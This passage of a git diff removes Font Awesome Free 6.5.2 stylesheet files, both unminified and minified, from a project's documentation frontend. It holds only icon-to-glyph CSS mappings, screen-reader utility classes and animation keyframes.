-.fa-hill-rockslide::before {
- content: "\e508"; }
-
-.fa-right-left::before {
- content: "\f362"; }
-
-.fa-exchange-alt::before {
- content: "\f362"; }
-
-.fa-paper-plane::before {
- content: "\f1d8"; }
-
-.fa-road-circle-exclamation::before {
- content: "\e565"; }
-
-.fa-dungeon::before {
- content: "\f6d9"; }
-
-.fa-align-right::before {
- content: "\f038"; }
-
-.fa-money-bill-1-wave::before {
- content: "\f53b"; }
-
-.fa-money-bill-wave-alt::before {
- content: "\f53b"; }
-
-.fa-life-ring::before {
- content: "\f1cd"; }
-
-.fa-hands::before {
- content: "\f2a7"; }
-
-.fa-sign-language::before {
- content: "\f2a7"; }
-
-.fa-signing::before {
- content: "\f2a7"; }
-
-.fa-calendar-day::before {
- content: "\f783"; }
-
-.fa-water-ladder::before {
- content: "\f5c5"; }
-
-.fa-ladder-water::before {
- content: "\f5c5"; }
-
-.fa-swimming-pool::before {
- content: "\f5c5"; }
-
-.fa-arrows-up-down::before {
- content: "\f07d"; }
-
-.fa-arrows-v::before {
- content: "\f07d"; }
-
-.fa-face-grimace::before {
- content: "\f57f"; }
-
-.fa-grimace::before {
- content: "\f57f"; }
-
-.fa-wheelchair-move::before {
- content: "\e2ce"; }
-
-.fa-wheelchair-alt::before {
- content: "\e2ce"; }
-
-.fa-turn-down::before {
- content: "\f3be"; }
-
-.fa-level-down-alt::before {
- content: "\f3be"; }
-
-.fa-person-walking-arrow-right::before {
- content: "\e552"; }
-
-.fa-square-envelope::before {
- content: "\f199"; }
-
-.fa-envelope-square::before {
- content: "\f199"; }
-
-.fa-dice::before {
- content: "\f522"; }
-
-.fa-bowling-ball::before {
- content: "\f436"; }
-
-.fa-brain::before {
- content: "\f5dc"; }
-
-.fa-bandage::before {
- content: "\f462"; }
-
-.fa-band-aid::before {
- content: "\f462"; }
-
-.fa-calendar-minus::before {
- content: "\f272"; }
-
-.fa-circle-xmark::before {
- content: "\f057"; }
-
-.fa-times-circle::before {
- content: "\f057"; }
-
-.fa-xmark-circle::before {
- content: "\f057"; }
-
-.fa-gifts::before {
- content: "\f79c"; }
-
-.fa-hotel::before {
- content: "\f594"; }
-
-.fa-earth-asia::before {
- content: "\f57e"; }
-
-.fa-globe-asia::before {
- content: "\f57e"; }
-
-.fa-id-card-clip::before {
- content: "\f47f"; }
-
-.fa-id-card-alt::before {
- content: "\f47f"; }
-
-.fa-magnifying-glass-plus::before {
- content: "\f00e"; }
-
-.fa-search-plus::before {
- content: "\f00e"; }
-
-.fa-thumbs-up::before {
- content: "\f164"; }
-
-.fa-user-clock::before {
- content: "\f4fd"; }
-
-.fa-hand-dots::before {
- content: "\f461"; }
-
-.fa-allergies::before {
- content: "\f461"; }
-
-.fa-file-invoice::before {
- content: "\f570"; }
-
-.fa-window-minimize::before {
- content: "\f2d1"; }
-
-.fa-mug-saucer::before {
- content: "\f0f4"; }
-
-.fa-coffee::before {
- content: "\f0f4"; }
-
-.fa-brush::before {
- content: "\f55d"; }
-
-.fa-mask::before {
- content: "\f6fa"; }
-
-.fa-magnifying-glass-minus::before {
- content: "\f010"; }
-
-.fa-search-minus::before {
- content: "\f010"; }
-
-.fa-ruler-vertical::before {
- content: "\f548"; }
-
-.fa-user-large::before {
- content: "\f406"; }
-
-.fa-user-alt::before {
- content: "\f406"; }
-
-.fa-train-tram::before {
- content: "\e5b4"; }
-
-.fa-user-nurse::before {
- content: "\f82f"; }
-
-.fa-syringe::before {
- content: "\f48e"; }
-
-.fa-cloud-sun::before {
- content: "\f6c4"; }
-
-.fa-stopwatch-20::before {
- content: "\e06f"; }
-
-.fa-square-full::before {
- content: "\f45c"; }
-
-.fa-magnet::before {
- content: "\f076"; }
-
-.fa-jar::before {
- content: "\e516"; }
-
-.fa-note-sticky::before {
- content: "\f249"; }
-
-.fa-sticky-note::before {
- content: "\f249"; }
-
-.fa-bug-slash::before {
- content: "\e490"; }
-
-.fa-arrow-up-from-water-pump::before {
- content: "\e4b6"; }
-
-.fa-bone::before {
- content: "\f5d7"; }
-
-.fa-user-injured::before {
- content: "\f728"; }
-
-.fa-face-sad-tear::before {
- content: "\f5b4"; }
-
-.fa-sad-tear::before {
- content: "\f5b4"; }
-
-.fa-plane::before {
- content: "\f072"; }
-
-.fa-tent-arrows-down::before {
- content: "\e581"; }
-
-.fa-exclamation::before {
- content: "\21"; }
-
-.fa-arrows-spin::before {
- content: "\e4bb"; }
-
-.fa-print::before {
- content: "\f02f"; }
-
-.fa-turkish-lira-sign::before {
- content: "\e2bb"; }
-
-.fa-try::before {
- content: "\e2bb"; }
-
-.fa-turkish-lira::before {
- content: "\e2bb"; }
-
-.fa-dollar-sign::before {
- content: "\24"; }
-
-.fa-dollar::before {
- content: "\24"; }
-
-.fa-usd::before {
- content: "\24"; }
-
-.fa-x::before {
- content: "\58"; }
-
-.fa-magnifying-glass-dollar::before {
- content: "\f688"; }
-
-.fa-search-dollar::before {
- content: "\f688"; }
-
-.fa-users-gear::before {
- content: "\f509"; }
-
-.fa-users-cog::before {
- content: "\f509"; }
-
-.fa-person-military-pointing::before {
- content: "\e54a"; }
-
-.fa-building-columns::before {
- content: "\f19c"; }
-
-.fa-bank::before {
- content: "\f19c"; }
-
-.fa-institution::before {
- content: "\f19c"; }
-
-.fa-museum::before {
- content: "\f19c"; }
-
-.fa-university::before {
- content: "\f19c"; }
-
-.fa-umbrella::before {
- content: "\f0e9"; }
-
-.fa-trowel::before {
- content: "\e589"; }
-
-.fa-d::before {
- content: "\44"; }
-
-.fa-stapler::before {
- content: "\e5af"; }
-
-.fa-masks-theater::before {
- content: "\f630"; }
-
-.fa-theater-masks::before {
- content: "\f630"; }
-
-.fa-kip-sign::before {
- content: "\e1c4"; }
-
-.fa-hand-point-left::before {
- content: "\f0a5"; }
-
-.fa-handshake-simple::before {
- content: "\f4c6"; }
-
-.fa-handshake-alt::before {
- content: "\f4c6"; }
-
-.fa-jet-fighter::before {
- content: "\f0fb"; }
-
-.fa-fighter-jet::before {
- content: "\f0fb"; }
-
-.fa-square-share-nodes::before {
- content: "\f1e1"; }
-
-.fa-share-alt-square::before {
- content: "\f1e1"; }
-
-.fa-barcode::before {
- content: "\f02a"; }
-
-.fa-plus-minus::before {
- content: "\e43c"; }
-
-.fa-video::before {
- content: "\f03d"; }
-
-.fa-video-camera::before {
- content: "\f03d"; }
-
-.fa-graduation-cap::before {
- content: "\f19d"; }
-
-.fa-mortar-board::before {
- content: "\f19d"; }
-
-.fa-hand-holding-medical::before {
- content: "\e05c"; }
-
-.fa-person-circle-check::before {
- content: "\e53e"; }
-
-.fa-turn-up::before {
- content: "\f3bf"; }
-
-.fa-level-up-alt::before {
- content: "\f3bf"; }
-
-.sr-only,
-.fa-sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- white-space: nowrap;
- border-width: 0; }
-
-.sr-only-focusable:not(:focus),
-.fa-sr-only-focusable:not(:focus) {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- white-space: nowrap;
- border-width: 0; }
diff --git a/documentation/frontend/static/fontawesome/css/fontawesome.min.css b/documentation/frontend/static/fontawesome/css/fontawesome.min.css
deleted file mode 100644
index 7e1c254..0000000
--- a/documentation/frontend/static/fontawesome/css/fontawesome.min.css
+++ /dev/null
@@ -1,9 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-.fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-classic,.fa-regular,.fa-sharp,.fa-solid,.fab,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-classic,.fa-regular,.fa-solid,.far,.fas{font-family:"Font Awesome 6 Free"}.fa-brands,.fab{font-family:"Font Awesome 6 Brands"}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.05357em}.fa-lg{font-size:1.25em;line-height:.05em;vertical-align:-.075em}.fa-xl{font-size:1.5em;line-height:.04167em;vertical-align:-.125em}.fa-2xl{font-size:2em;line-height:.03125em;vertical-align:-.1875em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:var(--fa-li-margin,2.5em);padding-left:0}.fa-ul>li{position:relative}.fa-li{left:calc(var(--fa-li-width, 2em)*-1);position:absolute;text-align:center;width:var(--fa-li-width,2em);line-height:inherit}.fa-border{border-radius:var(--fa-border-radius,.1em);border:var(--fa-border-width,.08em) var(--fa-border-style,solid) var(--fa-border-color,#eee);padding:var(--fa-border-padding,.2em .25em .15em)}.fa-pull-left{float:left;margin-right:var(--fa-pull-margin,.3em)}.fa-pull-right{float:right;margin-left:var(--fa-pull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,ease-in-out);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-bounce{-webkit-animation-name:fa-bounce;animation-name:fa-bounce;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{-webkit-animation-name:fa-fade;animation-name:fa-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-beat-fade,.fa-fade{-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s)}.fa-beat-fade{-webkit-animation-name:fa-beat-fade;animation-name:fa-beat-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-flip{-webkit-animation-name:fa-flip;animation-name:fa-flip;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,ease-in-out);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-shake{-webkit-animation-name:fa-shake;animation-name:fa-shake;-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-shake,.fa-spin{-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal)}.fa-spin{-webkit-animation-name:fa-spin;animation-name:fa-spin;-webkit-animation-duration:var(--fa-animation-duration,2s);animation-duration:var(--fa-animation-duration,2s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-spin-reverse{--fa-animation-direction:reverse}.fa-pulse,.fa-spin-pulse{-webkit-animation-name:fa-spin;animation-name:fa-spin;-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,steps(8));animation-timing-function:var(--fa-animation-timing,steps(8))}@media (prefers-reduced-motion:reduce){.fa-beat,.fa-beat-fade,.fa-bounce,.fa-fade,.fa-flip,.fa-pulse,.fa-shake,.fa-spin,.fa-spin-pulse{-webkit-animation-delay:-1ms;animation-delay:-1ms;-webkit-animation-duration:1ms;animation-duration:1ms;-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-transition-delay:0s;transition-delay:0s;-webkit-transition-duration:0s;transition-duration:0s}}@-webkit-keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@-webkit-keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webkit-transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em));transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{-webkit-transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0);transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{-webkit-transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em));transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em))}64%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webkit-transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em));transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{-webkit-transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0);transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{-webkit-transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em));transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em))}64%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@-webkit-keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@-webkit-keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@-webkit-keyframes fa-flip{50%{-webkit-transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@keyframes fa-flip{50%{-webkit-transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@-webkit-keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rotate(-22deg);transform:rotate(-22deg)}20%{-webkit-transform:rotate(22deg);transform:rotate(22deg)}32%{-webkit-transform:rotate(-12deg);transform:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rotate(-22deg);transform:rotate(-22deg)}20%{-webkit-transform:rotate(22deg);transform:rotate(22deg)}32%{-webkit-transform:rotate(-12deg);transform:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}.fa-rotate-by{-webkit-transform:rotate(var(--fa-rotate-angle,0));transform:rotate(var(--fa-rotate-angle,0))}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%;z-index:var(--fa-stack-z-index,auto)}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:var(--fa-inverse,#fff)}
-
-.fa-0:before{content:"\30"}.fa-1:before{content:"\31"}.fa-2:before{content:"\32"}.fa-3:before{content:"\33"}.fa-4:before{content:"\34"}.fa-5:before{content:"\35"}.fa-6:before{content:"\36"}.fa-7:before{content:"\37"}.fa-8:before{content:"\38"}.fa-9:before{content:"\39"}.fa-fill-drip:before{content:"\f576"}.fa-arrows-to-circle:before{content:"\e4bd"}.fa-chevron-circle-right:before,.fa-circle-chevron-right:before{content:"\f138"}.fa-at:before{content:"\40"}.fa-trash-alt:before,.fa-trash-can:before{content:"\f2ed"}.fa-text-height:before{content:"\f034"}.fa-user-times:before,.fa-user-xmark:before{content:"\f235"}.fa-stethoscope:before{content:"\f0f1"}.fa-comment-alt:before,.fa-message:before{content:"\f27a"}.fa-info:before{content:"\f129"}.fa-compress-alt:before,.fa-down-left-and-up-right-to-center:before{content:"\f422"}.fa-explosion:before{content:"\e4e9"}.fa-file-alt:before,.fa-file-lines:before,.fa-file-text:before{content:"\f15c"}.fa-wave-square:before{content:"\f83e"}.fa-ring:before{content:"\f70b"}.fa-building-un:before{content:"\e4d9"}.fa-dice-three:before{content:"\f527"}.fa-calendar-alt:before,.fa-calendar-days:before{content:"\f073"}.fa-anchor-circle-check:before{content:"\e4aa"}.fa-building-circle-arrow-right:before{content:"\e4d1"}.fa-volleyball-ball:before,.fa-volleyball:before{content:"\f45f"}.fa-arrows-up-to-line:before{content:"\e4c2"}.fa-sort-desc:before,.fa-sort-down:before{content:"\f0dd"}.fa-circle-minus:before,.fa-minus-circle:before{content:"\f056"}.fa-door-open:before{content:"\f52b"}.fa-right-from-bracket:before,.fa-sign-out-alt:before{content:"\f2f5"}.fa-atom:before{content:"\f5d2"}.fa-soap:before{content:"\e06e"}.fa-heart-music-camera-bolt:before,.fa-icons:before{content:"\f86d"}.fa-microphone-alt-slash:before,.fa-microphone-lines-slash:before{content:"\f539"}.fa-bridge-circle-check:before{content:"\e4c9"}.fa-pump-medical:before{content:"\e06a"}.fa-fingerprint:before{content:"\f577"}.fa-hand-point-right:before{content:"\f0a4"}.fa-magnifying-glass-location:before,.fa-search-location:before{content:"\f689"}.fa-forward-step:before,.fa-step-forward:before{content:"\f051"}.fa-face-smile-beam:before,.fa-smile-beam:before{content:"\f5b8"}.fa-flag-checkered:before{content:"\f11e"}.fa-football-ball:before,.fa-football:before{content:"\f44e"}.fa-school-circle-exclamation:before{content:"\e56c"}.fa-crop:before{content:"\f125"}.fa-angle-double-down:before,.fa-angles-down:before{content:"\f103"}.fa-users-rectangle:before{content:"\e594"}.fa-people-roof:before{content:"\e537"}.fa-people-line:before{content:"\e534"}.fa-beer-mug-empty:before,.fa-beer:before{content:"\f0fc"}.fa-diagram-predecessor:before{content:"\e477"}.fa-arrow-up-long:before,.fa-long-arrow-up:before{content:"\f176"}.fa-burn:before,.fa-fire-flame-simple:before{content:"\f46a"}.fa-male:before,.fa-person:before{content:"\f183"}.fa-laptop:before{content:"\f109"}.fa-file-csv:before{content:"\f6dd"}.fa-menorah:before{content:"\f676"}.fa-truck-plane:before{content:"\e58f"}.fa-record-vinyl:before{content:"\f8d9"}.fa-face-grin-stars:before,.fa-grin-stars:before{content:"\f587"}.fa-bong:before{content:"\f55c"}.fa-pastafarianism:before,.fa-spaghetti-monster-flying:before{content:"\f67b"}.fa-arrow-down-up-across-line:before{content:"\e4af"}.fa-spoon:before,.fa-utensil-spoon:before{content:"\f2e5"}.fa-jar-wheat:before{content:"\e517"}.fa-envelopes-bulk:before,.fa-mail-bulk:before{content:"\f674"}.fa-file-circle-exclamation:before{content:"\e4eb"}.fa-circle-h:before,.fa-hospital-symbol:before{content:"\f47e"}.fa-pager:before{content:"\f815"}.fa-address-book:before,.fa-contact-book:before{content:"\f2b9"}.fa-strikethrough:before{content:"\f0cc"}.fa-k:before{content:"\4b"}.fa-landmark-flag:before{content:"\e51c"}.fa-pencil-alt:before,.fa-pencil:before{content:"\f303"}.fa-backward:before{content:"\f04a"}.fa-caret-right:before{content:"\f0da"}.fa-comments:before{content:"\f086"}.fa-file-clipboard:before,.fa-paste:before{content:"\f0ea"}.fa-code-pull-request:before{content:"\e13c"}.fa-clipboard-list:before{content:"\f46d"}.fa-truck-loading:before,.fa-truck-ramp-box:before{content:"\f4de"}.fa-user-check:before{content:"\f4fc"}.fa-vial-virus:before{content:"\e597"}.fa-sheet-plastic:before{content:"\e571"}.fa-blog:before{content:"\f781"}.fa-user-ninja:before{content:"\f504"}.fa-person-arrow-up-from-line:before{content:"\e539"}.fa-scroll-torah:before,.fa-torah:before{content:"\f6a0"}.fa-broom-ball:before,.fa-quidditch-broom-ball:before,.fa-quidditch:before{content:"\f458"}.fa-toggle-off:before{content:"\f204"}.fa-archive:before,.fa-box-archive:before{content:"\f187"}.fa-person-drowning:before{content:"\e545"}.fa-arrow-down-9-1:before,.fa-sort-numeric-desc:before,.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-face-grin-tongue-squint:before,.fa-grin-tongue-squint:before{content:"\f58a"}.fa-spray-can:before{content:"\f5bd"}.fa-truck-monster:before{content:"\f63b"}.fa-w:before{content:"\57"}.fa-earth-africa:before,.fa-globe-africa:before{content:"\f57c"}.fa-rainbow:before{content:"\f75b"}.fa-circle-notch:before{content:"\f1ce"}.fa-tablet-alt:before,.fa-tablet-screen-button:before{content:"\f3fa"}.fa-paw:before{content:"\f1b0"}.fa-cloud:before{content:"\f0c2"}.fa-trowel-bricks:before{content:"\e58a"}.fa-face-flushed:before,.fa-flushed:before{content:"\f579"}.fa-hospital-user:before{content:"\f80d"}.fa-tent-arrow-left-right:before{content:"\e57f"}.fa-gavel:before,.fa-legal:before{content:"\f0e3"}.fa-binoculars:before{content:"\f1e5"}.fa-microphone-slash:before{content:"\f131"}.fa-box-tissue:before{content:"\e05b"}.fa-motorcycle:before{content:"\f21c"}.fa-bell-concierge:before,.fa-concierge-bell:before{content:"\f562"}.fa-pen-ruler:before,.fa-pencil-ruler:before{content:"\f5ae"}.fa-people-arrows-left-right:before,.fa-people-arrows:before{content:"\e068"}.fa-mars-and-venus-burst:before{content:"\e523"}.fa-caret-square-right:before,.fa-square-caret-right:before{content:"\f152"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-sun-plant-wilt:before{content:"\e57a"}.fa-toilets-portable:before{content:"\e584"}.fa-hockey-puck:before{content:"\f453"}.fa-table:before{content:"\f0ce"}.fa-magnifying-glass-arrow-right:before{content:"\e521"}.fa-digital-tachograph:before,.fa-tachograph-digital:before{content:"\f566"}.fa-users-slash:before{content:"\e073"}.fa-clover:before{content:"\e139"}.fa-mail-reply:before,.fa-reply:before{content:"\f3e5"}.fa-star-and-crescent:before{content:"\f699"}.fa-house-fire:before{content:"\e50c"}.fa-minus-square:before,.fa-square-minus:before{content:"\f146"}.fa-helicopter:before{content:"\f533"}.fa-compass:before{content:"\f14e"}.fa-caret-square-down:before,.fa-square-caret-down:before{content:"\f150"}.fa-file-circle-question:before{content:"\e4ef"}.fa-laptop-code:before{content:"\f5fc"}.fa-swatchbook:before{content:"\f5c3"}.fa-prescription-bottle:before{content:"\f485"}.fa-bars:before,.fa-navicon:before{content:"\f0c9"}.fa-people-group:before{content:"\e533"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-heart-broken:before,.fa-heart-crack:before{content:"\f7a9"}.fa-external-link-square-alt:before,.fa-square-up-right:before{content:"\f360"}.fa-face-kiss-beam:before,.fa-kiss-beam:before{content:"\f597"}.fa-film:before{content:"\f008"}.fa-ruler-horizontal:before{content:"\f547"}.fa-people-robbery:before{content:"\e536"}.fa-lightbulb:before{content:"\f0eb"}.fa-caret-left:before{content:"\f0d9"}.fa-circle-exclamation:before,.fa-exclamation-circle:before{content:"\f06a"}.fa-school-circle-xmark:before{content:"\e56d"}.fa-arrow-right-from-bracket:before,.fa-sign-out:before{content:"\f08b"}.fa-chevron-circle-down:before,.fa-circle-chevron-down:before{content:"\f13a"}.fa-unlock-alt:before,.fa-unlock-keyhole:before{content:"\f13e"}.fa-cloud-showers-heavy:before{content:"\f740"}.fa-headphones-alt:before,.fa-headphones-simple:before{content:"\f58f"}.fa-sitemap:before{content:"\f0e8"}.fa-circle-dollar-to-slot:before,.fa-donate:before{content:"\f4b9"}.fa-memory:before{content:"\f538"}.fa-road-spikes:before{content:"\e568"}.fa-fire-burner:before{content:"\e4f1"}.fa-flag:before{content:"\f024"}.fa-hanukiah:before{content:"\f6e6"}.fa-feather:before{content:"\f52d"}.fa-volume-down:before,.fa-volume-low:before{content:"\f027"}.fa-comment-slash:before{content:"\f4b3"}.fa-cloud-sun-rain:before{content:"\f743"}.fa-compress:before{content:"\f066"}.fa-wheat-alt:before,.fa-wheat-awn:before{content:"\e2cd"}.fa-ankh:before{content:"\f644"}.fa-hands-holding-child:before{content:"\e4fa"}.fa-asterisk:before{content:"\2a"}.fa-check-square:before,.fa-square-check:before{content:"\f14a"}.fa-peseta-sign: